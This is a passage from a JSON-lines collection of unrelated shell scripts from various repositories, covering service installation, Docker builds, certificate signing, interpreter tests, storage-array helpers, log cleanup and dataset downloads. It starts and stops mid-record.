[uU][nN][iI][nN][sS][tT][aA][lL][lL])\n\t \tsudo service InSightsArtifactoryAgent stop\n\t\t\t\tsudo rm -R /etc/init.d/InSightsArtifactoryAgent\n\t\t\t\techo \"Service un-installation step completed\"\n\t\t ;;\n\t\t *)\n echo \"ArtifactoryAgent Running on Linux...\"\n\t\t\t\tsudo cp -xp InSightsArtifactoryAgent.sh /etc/init.d/InSightsArtifactoryAgent\n\t\t\t\tsudo chmod +x /etc/init.d/InSightsArtifactoryAgent\n\t\t\t\tsudo chkconfig InSightsArtifactoryAgent on\n\t\t\t\tsudo service InSightsArtifactoryAgent status\n\t\t\t\tsudo service InSightsArtifactoryAgent stop\n\t\t\t\tsudo service InSightsArtifactoryAgent status\n\t\t\t\tsudo service InSightsArtifactoryAgent start\n\t\t\t\tsudo service InSightsArtifactoryAgent status\n\t\t\t\techo \"Service installed..\"\n ;;\n\t\t esac\n\t\t ;;\n [uU][bB][uU][nN][tT][uU])\n\t case $action in \n [uU][nN][iI][nN][sS][tT][aA][lL][lL]) \n\t\t\t\tsudo systemctl stop InSightsArtifactoryAgent\n\t\t\t\tsudo rm -R /etc/systemd/system/InSightsArtifactoryAgent.service\n\t\t\t\techo \"Service un-installation step completed\"\t\t\t\t\n\t\t\t ;;\n\t\t\t *)\n echo \"ArtifactoryAgent Running on Ubuntu...\"\n\t\t\t\tsudo cp -xp InSightsArtifactoryAgent.service /etc/systemd/system\n\t\t\t\tsudo systemctl enable InSightsArtifactoryAgent\n\t\t\t\tsudo systemctl start InSightsArtifactoryAgent\n\t\t\t\techo \"Service Installed...\"\n ;;\n\t\t esac\n\t\t ;;\n centos)\n echo \"ArtifactoryAgent Running on centso...\"\n ;;\n *)\n \t echo \"ArtifactoryAgent Please provide correct OS input\"\nesac"} {"text": "#!/usr/bin/env bash\n\nexport PM2_HOME=/home/ec2-user/.pm2\ncd /home/ec2-user/aws-code-suite\nnpm run prod\npm2 restart prod"} {"text": "mtuwtf/ip\n#!/bin/sh\n# $Id: $\n\nif [ $# -lt 1 ]; then\n\techo USAGE: $0 name\n\texit 1\nfi\n\ncd .. && make && make dist && cd - && ./make.sh $1"} {"text": "0\n#!/bin/bash\n\nGID=$(id -g)\n\nargs=(\"$@\")\ndefault_bin=/usr/bin/firefox-esr\n\nif [ \"$1\" = \"-\" ]; then\n default_bin=\n shift\n args=(\"$@\")\nelif [ $# -eq 0]; then\n args=(-P firefox-openjdk --no-remote)\nfi\n\nset -x\nxhost +`hostname -s`\nexec podman run --rm -ti \\\n --userns=keep-id \\\n --net=host \\\n --pid=host \\\n -e DISPLAY \\\n -v \"$HOME/.Xauthority:/home/developer/.Xauthority\" \\\n -v /tmp:/tmp \\\n -v /dev/bus/usb:/dev/bus/usb \\\n -v firefox-openjdk-home:/home/developer \\\n firefox-openjdk \\\n $default_bin \"${args[@]}\""} {"text": "#!/usr/bin/env bash\nLANG=${1:-cs}\nSPEC=${2:-master}\nPACKAGE_VERSION=${3:-0.0.0}\nBUILD_DIR=${4:-build}\n\nsource generator-funcs.sh\nsource \"$LANG/client/build.sh\"\n\ninit_generator \ndownload_spec\n\n## Init build directories\nmkdir -p \"$BUILD_DIR/$LANG-client\"\nsetup_build_folder\n\nconvert_spec \"\" \"/AuditDataStandard.yml\" \"$PACKAGE_NAME\" \n\npost_conversion_cleanup\n\nmkdir -p \"dist/$LANG\"\nbuild_package"} {"text": "#!/bin/bash\n\n# Configure location for executable to be tested\nEXECUTABLE=\"Debug/lox-cpp.exe\"\n\nfunction run_all_tests {\n begin_tests\n\n # Comment out tests to skip them\n test_print\n test_single_line_comment\n test_multi_line_comment\n test_expressions\n test_ternary\n test_logical\n test_string_concat\n test_variables\n test_scopes\n test_control\n test_break\n test_functions\n test_recursion\n test_closure\n test_lambda\n test_classes\n test_static_method\n test_inheritance\n\n end_tests\n}\n\nfunction test_print {\n run_test 'print \"Hello, world!\";' 'Hello, world!'\n}\n\nfunction test_single_line_comment {\n run_test '\n // print \"commented code\";\n print \"uncommented code\"; // ignored\n '\\\n 'uncommented code'\n}\n\nfunction test_multi_line_comment {\n run_test '\n /*\n print \"commented\";\n print \"code\";\n */\n print /* ignored */ \"uncommented code\"; /* ignored */\n '\\\n 'uncommented code'\n}\n\nfunction test_expressions {\n run_test 'print 123;' '123'\n run_test 'print (-100)+(-20)+(-3);' '-123'\n run_test 'print 12.34 * 100;' '1234'\n run_test 'print \"hello\";' 'hello'\n run_test 'print \"\";' ''\n run_test 'print ((5+5)*10)/2;' '50'\n run_test 'print true;' 'true'\n run_test 'print !true;' 'false'\n \n run_test '1/0;' 'Divide by zero.\\n[line 1]'\n run_test '-\"muffin\";' 'Operand must be a number.\\n[line 1]'\n}\n\nfunction test_ternary {\n run_test 'print true ? \"yes\" : \"no\";' 'yes'\n run_test 'print false ? \"yes\" : \"no\";' 'no'\n}\n\nfunction test_logical {\n run_test 'print \"hi\" or 2;' 'hi'\n run_test 'print nil or \"yes\";' 'yes'\n}\n\nfunction test_string_concat {\n run_test 'print \"a\" + 1;' 'a1'\n run_test 'print 1 + \"a\";' '1a'\n run_test 'print \"a\" + \"b\";' 'ab'\n run_test 'print 1 + 1;' '2'\n}\n\nfunction test_variables {\n run_test 'var a=1; var b=2; var c=a+b; print c;' '3'\n\n run_test '\n var breakfast = \"bagels\";\n breakfast = \"beignets\";\n print breakfast;\n ' \\\n 'beignets'\n}\n\nfunction test_scopes {\n run_test '\n var a = \"global a\";\n var b = \"global b\";\n var c = \"global c\";\n {\n var a = \"outer a\";\n var b = \"outer b\";\n {\n var a = \"inner a\";\n print a;\n print b;\n print c;\n }\n print a;\n print b;\n print c;\n }\n print a;\n print b;\n print c;\n ' \\\n 'inner a\nouter b\nglobal c\nouter a\nouter b\nglobal c\nglobal a\nglobal b\nglobal c' \n\n run_test '\n var volume = 11;\n volume = 0;\n {\n var volume = 3 * 4 * 5;\n print volume;\n }\n ' \\\n '60'\n}\n\nfunction test_control {\n run_test 'if (true) { print \"yes\"; } else { print \"no\"; }' 'yes'\n run_test 'if (false) { print \"yes\"; } else { print \"no\"; }' 'no'\n run_test 'var a = 1; while (a < 10) { a = a + 1; } print a;' '10'\n run_test '\n var total = 0; \n for (var a = 1; a < 10; a = a + 1) {\n total = total + a;\n } \n print total;\n ' \\\n '45'\n}\n\nfunction test_break {\n run_test 'var a = 1; while (a = 1) { break; a = 2; } print a;' '1'\n}\n\nfunction test_functions {\n run_test '\n fun returnSum(a, b) {\n return a + b;\n }\n var result = returnSum(1, 2);\n print result;\n ' \\\n '3'\n \n run_test '\n fun count(n) {\n if (n > 1) count(n - 1);\n print n;\n }\n\n count(3);\n ' \\\n '1\\n2\\n3'\n\n run_test 'print clock;' ''\n run_test 'print clock() > 0;' 'true'\n run_test 'fun foo(){} print foo;' ''\n run_test 'fun foo(){} print foo();' 'nil'\n}\n\nfunction test_recursion {\n run_test '\n fun fib(n) {\n if (n <= 1) return n;\n return fib(n - 2) + fib(n - 1);\n }\n print fib(10);\n ' \\\n '55'\n}\n\nfunction test_closure {\n run_test '\n fun returnFunction() {\n var outside = \"outside\";\n\n fun inner() {\n print outside;\n }\n\n return inner;\n }\n\n var fn = returnFunction();\n fn();\n ' \\\n 'outside'\n \n run_test '\n fun makeCounter() {\n var i = 0;\n fun count() {\n i = i + 1;\n print i;\n }\n\n return count;\n }\n\n var counter = makeCounter();\n counter();\n counter();\n ' \\\n '1\\n2'\n}\n\nfunction test_lambda {\n run_test 'var x = fun () { return \"lambda\"; }; print x();' 'lambda'\n run_test 'var x = fun () {}; print x;' ''\n}\n\nfunction test_classes {\n run_test '\n class Foo {}\n var foo = Foo(); \n print foo;\n ' \\\n 'Foo instance'\n \n run_test '\n class Cake {\n taste() {\n var adjective = \"delicious\";\n print \"The \" + this.flavor + \" cake is \" + adjective + \"!\";\n }\n }\n\n var cake = Cake();\n cake.flavor = \"German chocolate\";\n cake.taste();\n ' \\\n 'The German chocolate cake is delicious!'\n \n run_test '\n class Breakfast {\n init(meat, bread) {\n this.meat = meat;\n this.bread = bread;\n }\n\n serve(who) {\n print \"Enjoy your \" + this.meat + \" and \" + this.bread + \", \" + who + \".\";\n }\n }\n\n var baconAndToast = Breakfast(\"bacon\", \"toast\");\n baconAndToast.serve(\"Dear Reader\");\n ' \\\n 'Enjoy your bacon and toast, Dear Reader.'\n}\n\nfunction test_static_method {\n run_test '\n class Math {\n class square(n) {\n return n * n;\n }\n }\n\n print Math.square(3);\n ' \\\n '9'\n}\n\nfunction test_inheritance {\n run_test '\n class A { a() { return \"ok\"; } }\n class B < A {}\n var b = B();\n print b.a();\n ' \\\n 'ok' \n \n run_test '\n class A {\n method() {\n print \"A method\";\n }\n }\n\n class B < A {\n method() {\n print \"B method\";\n }\n\n test() {\n super.method();\n }\n }\n\n class C < B {}\n\n C().test();\n ' \\\n 'A method' \n}\n\nfunction begin_tests {\n let COUNTER=0\n let PASSED=0\n let FAILED=0\n let START=`date +%s`\n}\n\nfunction end_tests {\n local end=`date +%s`\n local runtime=$((end-START)) \n echo \"======\"\n echo -e \"Total: $COUNTER \\e[32mPassed: $PASSED \\e[31mFailed: $FAILED\\e[0m Runtime (seconds): $runtime\"\n}\n\nfunction watch {\n local LTIME=0\n while true\n do\n local ATIME=`stat -c %Z $EXECUTABLE`\n\n if [[ \"$ATIME\" != \"$LTIME\" ]]\n then \n sleep 2 # Wait recompilation to end\n echo\n echo \"Testing $EXECUTABLE\"\n run_all_tests\n LTIME=$ATIME\n fi\n sleep 2\n done\n}\n\nfunction run_test {\n local input=$1\n local expect=`echo -e \"$2\" | tr -d \"\\r\"`\n local actual=`echo \"$input\" | $EXECUTABLE 2>&1 | tr -d \"\\r\"`\n if [ $? -ne 0 ]; then\n echo \"Retry...\"\n return\n fi\n if [ \"$actual\" = \"$expect\" ]; then\n let PASSED=PASSED+1\n else\n echo \"Test failed for input: $input\"\n echo \"------\"\n echo -e \"\\e[32mExpect: $expect\\e[0m\"\n echo -e \"\\e[31mActual: $actual\\e[0m\"\n let FAILED=FAILED+1\n fi\n let COUNTER=COUNTER+1\n}\n\nCOUNTER=0\nPASSED=0\nFAILED=0\nSTART=0\n\nif [ \"$1\" = \"-w\" ]; then\n echo \"Running in watch mode\"\n watch\nelse\n echo \"Running tests once, use '-w' flag to run in watch mode\"\n run_all_tests\nfi"} {"text": "100-1000\n#!/bin/bash\n# 签发服务器证书\nmkdir crt\nopenssl genrsa -out crt/mydomain.com.key 2048\nopenssl req -new -sha256 -key crt/mydomain.com.key -subj \"/C=CN/ST=ZJ/L=HZ/O=Zto, Inc./CN=baidu.com\" -out crt/mydomain.com.csr\n#openssl req -new -out oats.csr -config oats.conf\n#openssl req -new -sha256 -key crt/mydomain.com.key -config req.cnf -out crt/mydomain.com.csr\n#openssl x509 -req -in crt/mydomain.com.csr -CA crt/rootCA.crt -CAkey crt/rootCA.key -CAcreateserial -out crt/mydomain.com.crt -days 500 -sha256\n\nopenssl x509 -req -in crt/mydomain.com.csr -CA crt/rootCA.crt -CAkey crt/rootCA.key -CAcreateserial -out crt/mydomain.com.crt -days 3650 -sha256 -extfile <(cat /etc/ssl/openssl.cnf <(printf \"[SAN]\\nsubjectAltName=IP:10.211.55.2,DNS.1:10.211.55.2\")) -extensions SAN\n#nginx -c /usr/local/openresty/nginx/conf/nginx.confs &\n#openssl x509 -req -in mydomain.com.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out mydomain.com.crt -config req.cnf -days 500 -sha256\n#openssl req -x509 -in mydomain.com.csr -CA rootCA.crt -CAkey rootCA.key -out mydomain.com.crt -config req.cnf -extensions 'v3_req' -days 500 -sha256"} {"text": "brahimrafik/app-array\n#!/bin/bash\nset -e\n\necho CODEBUILD_RESOLVED_SOURCE_VERSION: ${CODEBUILD_RESOLVED_SOURCE_VERSION} #BuildSHA1\necho CODEBUILD_SOURCE_VERSION: ${CODEBUILD_SOURCE_VERSION}\necho CODEBUILD_BUILD_ARN: ${CODEBUILD_BUILD_ARN}\necho AWS_REGION: ${AWS_REGION}\necho CODEBUILD_BUILD_NUMBER: ${CODEBUILD_BUILD_NUMBER}\necho CODEBUILD_SOURCE_REPO_URL: ${CODEBUILD_SOURCE_REPO_URL}\n\necho BranchName: ${BranchName}\necho ArtifactsS3Bucket: ${ArtifactsS3Bucket}\n\n\n# set -f # avoid globbing (expansion of *).\narray=(${CODEBUILD_BUILD_ARN//:/ })\nAccountId=${array[4]}\necho AccountId: ${AccountId}\n# unset +f\n\necho TargetRegion: ${AWS_REGION}\nBuildSHA1=${CODEBUILD_RESOLVED_SOURCE_VERSION}\necho BuildSHA1: ${BuildSHA1}\n\necho \"############### to the job here ###############\"\n\n#!/bin/bash\nset -eu\nset -o pipefail\n\nACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text 2>&1)\necho $(pwd)\ndocker --version\nREPOSITORY_URI=\"478435181338.dkr.ecr.eu-west-3.amazonaws.com/ecr_devops_bald_bis\"\nIMAGE_TAG=\"1.0.1\"\n\n#systemctl start docker\naws ecr get-login-password --region ${AWS_REGION} | docker login --username AWS --password-stdin ${AccountId}.dkr.ecr.${AWS_REGION}.amazonaws.com\n\ndocker build -t $REPOSITORY_URI:latest .\ndocker tag $REPOSITORY_URI:latest $REPOSITORY_URI:$IMAGE_TAG\ndocker push $REPOSITORY_URI:$IMAGE_TAG"} {"text": "hack/generate-release-tags.sh\n#!/bin/bash\n\n# This script generates a release.tags file containing all tags which should be build and pushed\n# based on the git tag\n\nTAGS_FILE=\".tags\"\n\n# Current tag\nTAG=${TAG:-$(git describe --abbrev=0 --tags)}\necho \"using tag: $TAG\"\n\n# We expect tags with pattern major.minor.patch-build[.prelease]\nregex='([[:digit:]]+).([[:digit:]]+).([[:digit:]]+)-([[:digit:]]+).?(.*)?'\nif ! [[ $TAG =~ $regex ]]\nthen\n echo \"Invalid version, it should be in format major.minor.patch-build[.prelease]\"\n exit 1\nfi\n\nMAJOR=${BASH_REMATCH[1]}\nMINOR=${BASH_REMATCH[2]}\nPATCH=${BASH_REMATCH[3]}\nBUILD=${BASH_REMATCH[4]}\nPRE=${BASH_REMATCH[5]}\n\n\necho \"major: ${MAJOR}\"\necho \"minor: ${MINOR}\"\necho \"patch: ${PATCH}\"\necho \"build: ${BUILD}\"\necho \"pre: ${PRE}\"\n\n# We always build the complete tag\necho -n \"$TAG\" > \"$TAGS_FILE\"\n\n# If pre is empty, we also build major.minor.patch\nif [ -z \"$PRE\" ]; then\n echo \",${MAJOR}.${MINOR}.${PATCH}\" >> \"$TAGS_FILE\"\nfi"} {"text": "rsdmike/blackbox-testing0\n#!/bin/bash\n\nNIGHTLY_BUILD_URL=\"https://raw.githubusercontent.com/edgexfoundry/developer-scripts/master/releases/nightly-build/compose-files\"\n\n# x86_64 or arm64\n[ \"$(uname -m)\" != \"x86_64\" ] && USE_ARM64=\"-arm64\"\n\n# security or no security\n[ \"$SECURITY_SERVICE_NEEDED\" != true ] && USE_NO_SECURITY=\"-no-secty\"\n\nCOMPOSE_FILE=\"docker-compose-nexus${USE_NO_SECURITY}${USE_ARM64}.yml\"\ncurl -o docker-compose.yml \"${NIGHTLY_BUILD_URL}/${COMPOSE_FILE}\""} {"text": "#!/bin/bash -l\n#PBS -l walltime=40:00:00,nodes=1:ppn=8,mem=4gb\n#PBS -m abe\n#PBS -M \n#PBS -N CaringBridge_dynamic_sizing\n#PBS -o /home/srivbane/eriks074/sna-social-support/data_pulling/qsub-scripts/size.stdout\n#PBS -e /home/srivbane/eriks074/sna-social-support/data_pulling/qsub-scripts/size.stderr\n\nworking_dir=\"/home/srivbane/eriks074/sna-social-support/data_pulling/qsub-scripts\"\ncd $working_dir\necho \"In '$working_dir', running the size script.\"\npython3 nw_size.py\necho \"Finished.\""} {"text": "#!/bin/sh\n#\n# Copyright (c) 2017 EMC Corporation\n# All Rights Reserved\n#\n\n#\n# Script to help manage HDS storage system outside of ViPR.\n# Used to perform various operations.\n#\n# Usage: ./hdshelper.sh verify_export \n# ./hdshelper.sh get_hlus \n# ./hdshelper.sh create_volume \n# ./hdshelper.sh delete_volume \n# ./hdshelper.sh create_mask \n# ./hdshelper.sh delete_mask \n# ./hdshelper.sh add_volume_to_mask \n# ./hdshelper.sh remove_volume_from_mask \n# ./hdshelper.sh add_initiator_to_mask \n# ./hdshelper.sh remove_initiator_from_mask \n\n#set -x\n\nTMPFILE1=/tmp/verify-${RANDOM}\nTMPFILE2=$TMPFILE1-error\necho Temp files - $TMPFILE1 $TMPFILE2\nHOST_STORAGE_DOMAIN=\"hostStorageDomain:\"\nNUMBER_OF_INITIATORS=\"numberOfInitiators:\"\nNUMBER_OF_LUNS=\"numberOfLUNs:\"\nUSED_HLUS=\"usedHLUs:\"\n\nverify_export() {\n # Parameters: Storage View Name Name, Number of Initiators, Number of Luns, HLUs\n # If checking if the Storage View does not exist, then parameter $2 should be \"gone\"\n HSDS=$1\n INITIATORS=$2\n\tSYSID=$3\n NUM_INITIATORS=$5\n NUM_LUNS=$6\n HLUS=$7\n\n\tIDENTIFIER=$INITIATORS\n\tif [ \"$HSDS\" != \"\" ]; then\n IDENTIFIER=$HSDS\n fi\n\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method get_mask_info -params \"$HSDS,$INITIATORS,$SYSID\" > ${TMPFILE1} 2> ${TMPFILE2}\n if [ -s $TMPFILE1 ]; then\n grep -n \"${HOST_STORAGE_DOMAIN}\" ${TMPFILE1} > /dev/null\n if [ $? -ne 0 ]; then\n echo -e \"\\e[91mERROR\\e[0m: Cannot verify export on array. Check ${TMPFILE1} and ${TMPFILE2} for detail\"\n exit 1;\n fi\n\n grep -n \"${IDENTIFIER}\" ${TMPFILE1} > /dev/null\n if [ $? -ne 0 ]; then\n if [ \"$5\" = \"gone\" ]; then\n echo \"PASSED: Verified HDSs/initiators ${INITIATORS} doesn't exist.\"\n exit 0;\n fi\n echo -e \"\\e[91mERROR\\e[0m: Expected HDSs/initiators ${INITIATORS}, but could not find\";\n exit 1;\n else\n if [ \"$6\" = \"gone\" ]; then\n echo -e \"\\e[91mERROR\\e[0m: Expected initiators ${INITIATORS} to be gone, but found in HSD\"\n exit 1;\n fi\n fi\n else\n echo -e \"\\e[91mERROR\\e[0m: Empty or invalid response from ${array_type}\"\n if [ -s $TMPFILE2 ]; then\n cat $TMPFILE2\n fi\n exit 1;\n fi\n\n num_inits=`grep ${NUMBER_OF_INITIATORS} ${TMPFILE1} | awk -F: '{print $2}'`\n num_luns=`grep ${NUMBER_OF_LUNS} ${TMPFILE1} | awk -F: '{print $2}'`\n failed=false\n\n if [ ${num_inits} -ne ${NUM_INITIATORS} ]\n\tthen\n\techo -e \"\\e[91mERROR\\e[0m: Initiators: Expected: ${NUM_INITIATORS}, Retrieved: ${num_inits}\";\n\tfailed=true\n fi\n\n if [ ${num_luns} -ne ${NUM_LUNS} ]\n\tthen\n\techo -e \"\\e[91mERROR\\e[0m: LUNs: Expected: ${NUM_LUNS}, Retrieved: ${num_luns}\";\n\tfailed=true\n fi\n\n if [ -n \"${HLUS}\" ]\n then\n\t hlus=`grep ${USED_HLUS} ${TMPFILE1} | awk -F: '{print $2}'`\n\n hlu_arr=(${HLUS//,/, })\n hlus=${hlus:1:-1}\n if [ \"${hlus[*]}\" != \"${hlu_arr[*]}\" ]\n then\n echo -e \"\\e[91mERROR\\e[0m: HLUs: Expected: ${hlu_arr[*]} Retrieved: ${hlus[*]}\";\n failed=true\n fi\n fi\n\n if [ \"${failed}\" = \"true\" ]\n\tthen\n\texit 1;\n fi\n\n if [ -n \"${HLUS}\" ]\n then\n echo \"PASSED: HDSs/initiators '$IDENTIFIER' contained ${NUM_INITIATORS} initiators and ${NUM_LUNS} luns with hlus ${HLUS}\"\n else\n echo \"PASSED: HSDs/initiators '$IDENTIFIER' contained ${NUM_INITIATORS} initiators and ${NUM_LUNS} luns\"\n fi\n\n exit 0;\n}\n\nget_hlus() {\n HSDS=$1\n hlus=-1\n\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method get_mask_info -params \"$HSDS,$2\" > ${TMPFILE1} 2> ${TMPFILE2}\n if [ -s $TMPFILE1 ]; then\n grep -n \"${HOST_STORAGE_DOMAIN}\" ${TMPFILE1} > /dev/null\n if [ $? -ne 0 ]; then\n echo -e \"\\e[91mERROR\\e[0m: Cannot verify export on array. Check ${TMPFILE1} and ${TMPFILE2} for detail\"\n exit 1;\n fi\n\n grep -n \"${HSDS}\" ${TMPFILE1} > /dev/null\n if [ $? -eq 0 ]; then\n hlus=`grep ${USED_HLUS} ${TMPFILE1} | awk -F: '{print $2}'`\n fi\n else\n echo -e \"\\e[91mERROR\\e[0m: Empty or invalid response from ${array_type}\"\n if [ -s $TMPFILE2 ]; then\n cat $TMPFILE2\n fi\n exit 1;\n fi\n\n echo $hlus\n}\n\ncreate_volume() {\n volume_name=$1\n size=$2\n\tthin_vol=$3\n pool=$4\n\tsys=$5\n\tmodel=$6\n\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method create_volume -params \"${volume_name},${size},${thin_vol},${pool},${sys},${model}\" > ${TMPFILE1} 2> ${TMPFILE2}\n echo `tail -1 ${TMPFILE1}`\n}\n\ndelete_volume() {\n device_id=$1\n\tthin_vol=$2\n\tsys=$3\n\tmodel=$4\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method delete_volume -params \"${device_id},${thin_vol},${sys},${model}\" > ${TMPFILE1} 2> ${TMPFILE2}\n}\n\ncreate_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method create_mask -params \"$1,$2,$3,$4,$5,$6,$7,$8,$9\" > ${TMPFILE1} 2> ${TMPFILE2}\n cat ${TMPFILE1}\n}\n\n## Convenience method for deleting a host outside of ViPR\ndelete_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method delete_mask -params \"$1,$2,$3\"\n echo \"Deleted HSDs $1\"\n}\n\nadd_volume_to_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method add_volume_to_mask -params \"$1,$2,$3,$4\" > ${TMPFILE1} 2> ${TMPFILE2}\n cat ${TMPFILE1}\n echo \"Added volume $2 to HSDs $1\"\n}\n\nremove_volume_from_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method remove_volume_from_mask -params \"$1,$2,$3,$4\"\n echo \"Removed volume $2 from HSDs $1\"\n}\n\nadd_initiator_to_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method add_initiator_to_mask -params \"$1,$2,$3,$4\"\n}\n\nremove_initiator_from_mask() {\n java -Dproperty.file=${tools_file} -jar ${tools_jar} -arrays ${array_type} -method remove_initiator_from_mask -params \"$1,$2,$3,$4\"\n}\n\n# Check to see if this is an operational request or a verification of export request\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ntools_file=\"${DIR}/tools.yml\"\ntools_jar=\"${DIR}/ArrayTools.jar\"\narray_type=\"hds\"\n\nif [ -f ${tools_file} ]; then\n is_hds=$(grep \"hds\" ${tools_file} || echo \"\")\n if [ \"$is_hds\" == \"\" ]; then\n echo \"Array type (hds) not found in ${tools_file}\"\n exit 1\n fi\nelse\n echo \"${tools_file} not found\"\n exit 1\nfi\n\nif [ ! -f ${tools_jar} ]; then\n echo \"${tools_jar} not found\"\n exit 1\nfi\n\nif [[ $# -lt 4 ]]; then\n echo \"Missing operation/params\"\n echo \"Usage: $0 [verify_export | get_hlus | create_volume | delete_volume | create_mask | delete_mask | add_volume_to_mask | remove_volume_from_mask | add_initiator_to_mask | remove_initiator_from_mask] {params}\"\n exit 1\nfi\n\nif [ \"$1\" = \"verify_export\" ]; then\n shift\n verify_export \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\"\nelif [ \"$1\" = \"get_hlus\" ]; then\n shift\n get_hlus \"$1\" \"$2\" \"$3\"\nelif [ \"$1\" = \"create_volume\" ]; then\n shift\n create_volume \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\"\nelif [ \"$1\" = \"delete_volume\" ]; then\n shift\n delete_volume \"$1\" \"$2\" \"$3\" \"$4\"\nelif [ \"$1\" = \"create_mask\" ]; then\n shift\n create_mask \"$1\" \"$2\" \"$3\" \"$4\" \"$5\" \"$6\" \"$7\" \"$8\" \"$9\"\nelif [ \"$1\" = \"delete_mask\" ]; then\n shift\n delete_mask \"$1\" \"$2\" \"$3\"\nelif [ \"$1\" = \"add_volume_to_mask\" ]; then\n shift\n add_volume_to_mask \"$1\" \"$2\" \"$3\" \"$4\"\nelif [ \"$1\" = \"remove_volume_from_mask\" ]; then\n shift\n remove_volume_from_mask \"$1\" \"$2\" \"$3\" \"$4\"\nelif [ \"$1\" = \"add_initiator_to_mask\" ]; then\n shift\n add_initiator_to_mask \"$1\" \"$2\" \"$3\" \"$4\"\nelif [ \"$1\" = \"remove_initiator_from_mask\" ]; then\n shift\n remove_initiator_from_mask \"$1\" \"$2\" \"$3\" \"$4\"\nelse\n echo \"Unsupported operation $1\"\n echo \"Usage: $0 [verify_export | get_hlus | create_volume | delete_volume | create_mask | delete_mask | add_volume_to_mask | remove_volume_from_mask | add_initiator_to_mask | remove_initiator_from_mask] {params}\"\nfi"} {"text": "andischreiber/Checkpoint-Firewall-stuff\n#!/bin/bash\n(\ndate\n. /etc/profile.d/CP.sh\n#declare -i FREE\nFREE=`df -h | grep \"/var/log\" | awk '{print $3}' | awk -FG '{print $1}'`\nwhile [ ${FREE%%\\.*} -lt 5 ]; do\n OLDLOG=`ls -t $FWDIR/log/*201*.log | /usr/bin/tail -n 1`\n echo \"deleting $OLDLOG\"\n rm -f $OLDLOG*\n sync\n FREE=`df -h | grep \"/var/log\" | awk '{print $3}' | awk -FG '{print $1}'`\ndone\necho\n) >> /var/log/delete_old_logfiles.log 2>&1"} {"text": "scripts/centos_install_packages.sh\n#!/usr/bin/bash\n# sudo yum install -y yum-utils\n# sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo \n# sudo yum makecache\nsudo yum install -y git\nsudo yum install -y curl\nsudo curl -L \"https://github.com/docker/compose/releases/download/1.27.4/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/bin/docker-compose\nsudo chmod +x /usr/bin/docker-compose"} {"text": "# Copyright (c) 2021, Technische Universität Kaiserslautern (TUK) & National University of Sciences and Technology (NUST).\n# All rights reserved.\n\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n#!/bin/bash\n\n\nlr=\"1e-06\"\ntopology=\"ENC_4_DEC_4\"\n\nbands=\"18\"\n\necho \" ************ Model 69 Test Results ************\"\nmodel=\"model_69_topology\"$topology\"_lr\"$lr\"_bands\"$bands\".pt\"\necho $model\n\npython train.py --function train_net --data /home/Projects/Forest/Data/generated_data --input_size 128 --workers 4 --data_split_lists output/training_lists/ --models_dir output/models/augmented --summary_dir output/PreTrainedModel --batch_size 16 --lr $lr --epochs 20 --log_after 10 --cuda 1 --device 0 --topology $topology --bands 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 --classes Non-Forest Forest --pretrained_model $model --error_maps_dir output/error_maps"} {"text": "#!/bin/bash\n# run from project root as `./benhmarks/bagbench.sh`\n\n./benchmarks/bench.sh bag-bench"} {"text": "#!/bin/bash\n\n\nfor i in `find . -name \"*.md\" -o -name \"*.yml\"`\n\ndo \n\n\tif [[ -n $(grep -l \"UNDER REVISION\" $i) ]] \n\t\tthen\n\t\t\n\t\tif [[ -n $(grep -L \"publish.*false\" $i) ]] \n then \t\t\n\t\t\t \n\t\t\techo \"Changing UNDER REVISION to PUBLISHED in $i\"\n\t\t\tsed -i 's:::' $i\n\t\tfi\n\tfi\n\ndone"} {"text": "enrolled/parallel-CS3210/asss/ass-2/update.sh0\nwhile :\ndo\n scp ./* e0072412@xgpc1:/home/e/e0072412/assignment2_code/\n sleep 1\ndone"} {"text": "OSS-Pipeline/rez-doxygen0\n#!/usr/bin/bash\n\n# Will exit the Bash script the moment any command will itself exit with a non-zero status, thus an error.\nset -e\n\nBUILD_PATH=$1\nDOXYGEN_VERSION=${REZ_BUILD_PROJECT_VERSION}\n\n# We print the arguments passed to the Bash script.\necho -e \"\\n\"\necho -e \"===============\"\necho -e \"=== INSTALL ===\"\necho -e \"===============\"\necho -e \"\\n\"\n\necho -e \"[INSTALL][ARGS] BUILD PATH: ${BUILD_PATH}\"\necho -e \"[INSTALL][ARGS] DOXYGEN VERSION: ${DOXYGEN_VERSION}\"\n\n# We check if the arguments variables we need are correctly set.\n# If not, we abort the process.\nif [[ -z ${BUILD_PATH} || -z ${DOXYGEN_VERSION} ]]; then\n echo -e \"\\n\"\n echo -e \"[INSTALL][ARGS] One or more of the argument variables are empty. Aborting...\"\n echo -e \"\\n\"\n\n exit 1\nfi\n\n# We install Doxygen.\necho -e \"\\n\"\necho -e \"[INSTALL] Installing Doxygen-${DOXYGEN_VERSION}...\"\necho -e \"\\n\"\n\ncd ${BUILD_PATH}\n\nmake \\\n -j${REZ_BUILD_THREAD_COUNT} \\\n install\n\necho -e \"\\n\"\necho -e \"[INSTALL] Finished installing Doxygen-${DOXYGEN_VERSION}!\"\necho -e \"\\n\""} {"text": "wget http://www-personal.umich.edu/~reedscot/files/nips2015-analogy-data.tar.gz\ntar -zxvf nips2015-analogy-data.tar.gz\nrm nips2015-analogy-data.tar.gz"} {"text": "ryuichi1208/install\n#!/bin/bash\n# usage:\n# curl -s 